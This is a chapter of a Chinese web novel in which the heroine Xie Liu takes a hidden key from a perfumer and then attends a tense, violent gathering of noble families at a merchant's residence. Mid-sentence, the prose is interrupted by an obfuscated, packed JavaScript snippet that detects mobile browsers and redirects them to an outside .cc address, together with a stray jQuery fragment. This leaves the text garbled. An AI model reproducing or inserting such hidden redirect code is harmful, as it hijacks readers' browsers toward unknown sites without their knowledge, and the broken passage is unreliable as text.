26. 针锋
作品:《终南有花》 兰大娘子设的调香宴于幽州甚是引人注目,有不少调香师皆想一睹这幽州五俪的芳容而跃跃欲试,其间也不乏有怀拥真才实学的调香师意欲跟她一较高下。
谢柳立在兰芷院的白玉阶前,袖中请柬早已被汗水浸软。
她来时赶得巧,恰恰赶上了调香宴的前夕。而墨轻竹给她的请笺也寻常请柬却不相同,那上面印着兰草,凑近能嗅到极淡的雪松香。
“姑娘可是来取新制的春信?”
青衣婢女掀起竹帘,谢柳望见满室器皿恍若映满天光。
兰大娘子背对着门正在调香,墨色长发用丝绦松松系着,腕间的玉镯随着捣香的动作轻响。
“这是轻竹要的安神香。”
谢柳将请柬放在案上,袖口故意拂倒一个瓶罐。
檀木香粉洒落时,她看清案底刻着墨家独有的九宫格,与霍凡书房暗格的机关如出一辙。
兰大娘子立即攥住了她的手腕,“小姑娘,偷看别人东西要当心迷了眼。”她指尖沾了点香膏抹在谢柳虎口,“就像这一味香,闻着金贵,可沾上了三天都洗不掉。”
谢柳腕骨被捏得生疼,面上仍带着笑:“大娘子教训的是。只是我家夫子常说,气味比刀剑更伤人。”
她翻掌露出墨轻竹给的玉环,兰大娘子看到后有些许愣神,松手时带翻了整盒调好的香粉。
艳红粉末就这般纷纷扬扬落进铜炉,腾起呛人的雾,谢柳则趁机摸到案下机关,九宫格应声弹开,露出了发锈的钥匙,正是她在潮生阁得来的。
“轻竹说您这儿有好茶。”谢柳将钥匙收进荷包,从容地扶正铜炉,“不知能否讨一盏祛祛寒?”
兰大娘子的眼神顿时冷了下来,她掀开东墙摆设的竹帘,满墙木格里摆着各色香囊,最顶层的锦盒里躺着封信。
“你喝完茶就走吧。”兰大娘子将信狠狠拍在桌案上,“告诉霍凡,他若再敢往我的香里掺迷魂草,我就把他对墨家做的那些腌臜事写成话本子,让它们广为流传。他敢把那些勾心斗角的玩意用在我兰家身上,小心会赔了重礼又折兵。”
待到雨势渐大时,谢柳揣着兰大娘子给的信拐进了暗巷,伞骨里掉出张薄绢,墨轻竹的字迹晕在水痕里:‘今夜子时,幽州富商柳府。小柳可别会错了意,他呀,姓柳,你随便打听打听就知道他。’
-
“大爷,您这儿这附近的富商都有谁啊?”
“嗐,小姑娘,你问我可是问对人喽。要说顶富的,谁还能比得上那位啊?姓柳,叫柳无妄,家财万贯啊,就是身子骨不行,体弱。”
“他是做什么行当的?”
“好像是行医救人的吧,唉,你说奇不奇怪,他自己都是医师了,怎么就不能医好自己呢?”
……
讯息套到,谢柳道了声多谢就果断抽身离开。
时值夜间,当柳府四角的衔灯次亮起时,她听见大门后传来玉磬清响。
“丙字七号客人,解絮,您来迟了。”
守在门边的哑仆突然开口,惊得谢柳指尖一颤,这人的模样长得分明年轻正盛,声音却似垂垂老矣的老翁。
正厅内已有六人落座,坐垫上绣着各家的假名。谢柳瞥见东北角那人腰间别着的算盘,似乎是顾氏钱庄掌柜的印记,算珠上应该还刻着顾氏族徽。
“今日第一问。”屏风后伸出一只修长的手,他的手指点在江山舆图上,“倘若北元的固天城叛乱,该剿还是该抚?”
谢柳嗅到香里混着佩兰的气息,屏风上透出的剪影正是柳无妄在煮茶,那滚水浇入盏中的声响与问题同时落下,似与清幽的琴音相合。
“自然是剿!”一旁坐着的世家公子拍案而起,玄铁护腕撞在桌上,“去年我们往都城运的三十船大米,如今还沉在江底!”
“王兄此言差矣。”远处传来声轻笑,“幽州巫族擅驱虫疫,家父上月刚折了八百护院在那边。”
玉磬又响,所有目光聚向屏风。
“甲字七号。”那只手从屏风后递出盏茶,“絮娘,你可有什么高见?”
满室陡然寂静。
谢柳接过茶盏时,看见盏底刻着极小的小篆,是个‘柳’字。
她柔声道:“何不分两路,先安抚乱民,以稳固民心,而后剿为首之人以儆效尤,若有再犯,自然斩草除根。”
“有趣。”屏风后的声音带着笑意,“女流之辈,回答的却甚得我意,一字不差。”
小厮算盘蓦然哗啦作响,谢柳余光瞥见有人的右手探向腰间,鼓起的形状分明是把贴身软剑,明显是动了杀心。
柳无妄依然神情淡然,温声道:“世家集会本为广纳良言,若有不怀好意的,便以我的规矩说了算,格名服药,从此不得踏入我柳府一步。”
那人袖间寒光刚出,梁上忽坠下道黑影,谢柳只听得茶盏落地脆响,黑衣侍卫已擒住他的右腕反拧,骨折声随着闷哼响起,惊得一女子大呼出声来。
“公子跟前也配亮剑?”
侍卫钳住刺客下颌,药瓶磕在齿间,丹丸顺着喉咙滑下去,顷刻烧得刺客蜷了起来,十指在石砖上抓出血痕,“当真是不知羞耻,毫无轻重。”
“疼……好疼……等等,我方才是在,是在……”
“客既醉了,送他醒醒神。”
四名灰衣人应声抬着竹滑竿进了厅堂,刺客被他们用麻布裹了扔上滑竿,他喉间作响的呜咽随轿帘落下戛然而止。
满座锦衣公子和女娘皆鸦雀无声,谢柳兀自垂眸盯着盏中浮起的茗叶,听到算珠又噼啪响起来。
“还有谁有高见?”
“我来吧,我可最烦这些弯弯绕绕!”窗边跃进个戴墨色狐狸面具的少年,劲装袖口用丝线缝制着振翅的鹰,“要我说,就该把他们那帮人编入别的地方,索性什么也不管,直接拔剑来打,岂不痛快?”
他顿了顿,又笑意盈盈地附和了谢柳的话,“唉呀,假的,我还是觉得絮娘的更好,毕竟谁也不想造个死人堆。”
“隐公子,你来迟了。”柳无妄敲了敲玉磬,屏风上突然映出幅北元的地形图,“你上月劫的那批珠宝,可找到买家了?”
一语既出,引得满座哗然。
“什么?这人是世家子弟吗?居然还劫商队。”
“我们又不差钱。”
“想来他必然是被家里养得极好,怎么什么事都敢做,实在有伤风雅。”
……
谢柳看见掌柜的算盘珠卡在‘五万’的位置,就想起了几日前沧州商队被劫的密报,原来那批贴着顾氏封条的箱子里,装的根本不是丝绸。
“我啊,就是厌恶那些满口吐着文绉绉,讲着什么廉耻的人。端得好一副善人模样,背地里却手脚不干净。”隐公子拂袖坐在谢柳身侧的蒲团上,身上传来极淡的血腥气,“我只是替天行道而已,若说此地真有什么神佛罩着,那我就是天王老子。难能瞧到个有气魄的小女娘,可比某些满嘴仁义道德的强多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15070419|163173||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
“这人真嚣张……”
“是呀,像他这样的,能有女子喜欢吗?活脱脱就像个纨绔。”
“跟女子坐一起都不知羞的,呸!”
“第二问。”玉磬声压住满室私语,柳无妄点在地图某处,“若用幽州五城的赋税充作军饷,该从哪家开始征?”
有人立即答道:“自然是霍……不对,是从去年赋税最少的沛州开始!”
“王兄这话说的像什么话,不知道的还以为沛州刺史姓顾呢。”云易嗤笑一声,手指蘸着茶水在案上画了个‘崔’字。
谢柳认出这是清河崔氏的标记,而现任沛州刺史崔衍正是顾氏的老丈人。
隐公子提靴踹翻了茶案,香炉滚到谢柳脚边,炉灰里露出半片烧焦的纸,隐约可见‘漕运’二字,她借着整理裙摆的姿势将纸片收入袖中,听见少年带着讥诮的声音响起:“要我说,先把顾氏开的那所钱庄地下埋的十二窖金银挖出来,都够养十万精兵了。他贪得无厌,空顶着官位却没做什么好事,其只徒有虚表,空有虚名,能有什么用?”
掌柜的算盘突然脱手飞出,直取隐公子的脖颈,谢柳正待动作,却见他两指松散夹住算盘,指尖在某个算珠上轻轻一按。
机括弹开的声响中,多枚淬毒银针直射屏风。
随着一串脆响,银针尽数钉在屏风上。
柳无妄叹道:“隐公子,你弄坏了我一座屏风,该如何赔?”
隐公子‘哎哟’一声跳开两步,他夺了的算珠仍犹自滴溜溜转:“嗐,柳大善人做尽善事,您可饶了我这次啊!您瞧,我比那秋后蚂蚱还穷,浑身掏净了都没有几钱银两。”
“蚂蚱吗,它尚能油煎下酒。”柳无妄拢袖拨开银针,玉扳指依稀映得眉目温润,“隐公子这双妙手,拆得了机关,抵不得债?”
少年闻言将算盘往肩头一扛,笑道:“我可抵不得啊,我郎艳独绝,天下无二,抵给你多可惜。跟人做工的活,譬如晨起替你绾发,暮归替你暖榻,还是仆从做得顺手。哦,话说回来,我上个月打碎的玉盏有何来历?”
“那是仅此一个的孤品,隐公子好眼力。”
“那我替你雕十扇顶好的屏风?”隐公子抚掌要溜,却被拦住,“但那也算了,我同你玩笑的……哎哎哎?别拽我衣衫!”
柳无妄轻叩茶案,微微笑了笑,“十扇?”
“三扇!不不,一扇吧,一扇好了!”他似嗅到什么,鼻尖微动,“好香的吃食!哈哈!那我就不奉陪了!”
屏风上银针犹自泛着光,柳无妄摇头轻笑:“看来,这回又要赊账了。”
“解姑娘。”他忽然望向谢柳,“你袖中的灰烬该落地了。”
满座视线如刀剑袭来,谢柳摊开掌心任灰烬飘落,莞尔道:“公子这香炉里的龙涎香,掺了三成松胶吧?可惜松胶遇金会生毒,某位掌柜的算盘,怕是保不住了。”
掌柜突然惨叫出声,算盘在他掌心泛着黑,令他急得掀翻茶案:“柳无妄,你卑鄙无耻!竟在香里做手脚!”
“啊,解某怕是染了风寒。”谢柳起身,“先行告退。”
隐公子不知何时绕到她身后,道:“小娘子急什么?好戏才开场呢。你猜无妄兄知不知道,霍家最得意的弟子此刻正戴着青面獠牙的面具?今日的宴席,你觉不觉得,像极了鸿门宴?”
烛火骤然熄灭,谢柳在昏暗中嗅到浓重的血腥气,听见他在耳畔低语:“小絮娘,你要小心啊。”